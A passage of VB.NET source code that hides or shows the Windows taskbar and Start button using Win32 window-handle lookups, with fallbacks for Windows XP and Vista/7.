   Private Shared vistaStartMenuWnd As IntPtr = IntPtr.Zero
   Private Delegate Function EnumThreadProc(hwnd As IntPtr, lParam As IntPtr) As Boolean

   ''' <summary>
   ''' Show the taskbar.
   ''' </summary>
   Public Shared Sub Show()
       SetVisibility(True)
   End Sub

   ''' <summary>
   ''' Hide the taskbar.
   ''' </summary>
   Public Shared Sub Hide()
       SetVisibility(False)
   End Sub

   ''' <summary>
   ''' Sets the visibility of the taskbar.
   ''' </summary>
   Private Shared WriteOnly Property Visible() As Boolean
       Set(value As Boolean)
           SetVisibility(value)
       End Set
   End Property

   ''' <summary>
   ''' Hide or show the Windows taskbar and startmenu.
   ''' </summary>
   ''' <param name="show">true to show, false to hide</param>
   Private Shared Sub SetVisibility(show As Boolean)
       ' get taskbar window
       Dim taskBarWnd As IntPtr = FindWindow("Shell_TrayWnd", Nothing)

       ' Try the Windows XP TaskBar:
       Dim startWnd As IntPtr = FindWindowEx(taskBarWnd, IntPtr.Zero, "Button", "Start")

       If startWnd = IntPtr.Zero Then
           ' Try an alternate way of Windows XP TaskBar:
           startWnd = FindWindowEx(IntPtr.Zero, IntPtr.Zero, CType(&HC017, IntPtr), "Start")
       End If

       If startWnd = IntPtr.Zero Then
           ' Try the Windows Vista/7 TaskBar:
           startWnd = FindWindow("Button", Nothing)

           If startWnd = IntPtr.Zero Then
               ' Try an alternate way of Windows Vista/7 TaskBar:
               startWnd = GetVistaStartMenuWnd(taskBarWnd)
           End If
       End If

       ShowWindow(taskBarWnd, If(show, SW_SHOW, SW_HIDE))
       ShowWindow(startWnd, If(show, SW_SHOW, SW_HIDE))

   End Sub

   ''' <summary>
   ''' Returns the window handle of the Vista start menu orb.
   ''' </summary>
   ''' <param name="taskBarWnd">windo handle of taskbar</param>
   ''' <returns>window handle of start menu</returns>
   Private Shared Function GetVistaStartMenuWnd(taskBarWnd As IntPtr) As IntPtr
       ' get process that owns the taskbar window
       Dim procId As Integer
       GetWindowThreadProcessId(taskBarWnd, procId)

       Dim p As Process = Process.GetProcessById(procId)
       If p IsNot Nothing Then
           ' enumerate all threads of that process...
           For Each t As ProcessThread In p.Threads
               EnumThreadWindows(t.Id, AddressOf MyEnumThreadWindowsProc, IntPtr.Zero)
           Next
       End If
       Return vistaStartMenuWnd
   End Function

   ''' <summary>
   ''' Callback method that is called from 'EnumThreadWindows' in 'GetVistaStartMenuWnd'.
   ''' </summary>
   ''' <param name="hWnd">window handle</param>
   ''' <param name="lParam">parameter</param>
   ''' <returns>true to continue enumeration, false to stop it</returns>
   Private Shared Function MyEnumThreadWindowsProc(hWnd As IntPtr, lParam As IntPtr) As Boolean
       Dim buffer As New System.Text.StringBuilder(256)
       If GetWindowText(hWnd, buffer, buffer.Capacity) > 0 Then
           Console.WriteLine(buffer)
           If buffer.ToString() = VistaStartMenuCaption Then
               vistaStartMenuWnd = hWnd
               Return False
           End If
       End If
       Return True
   End Function

End Class

#End Region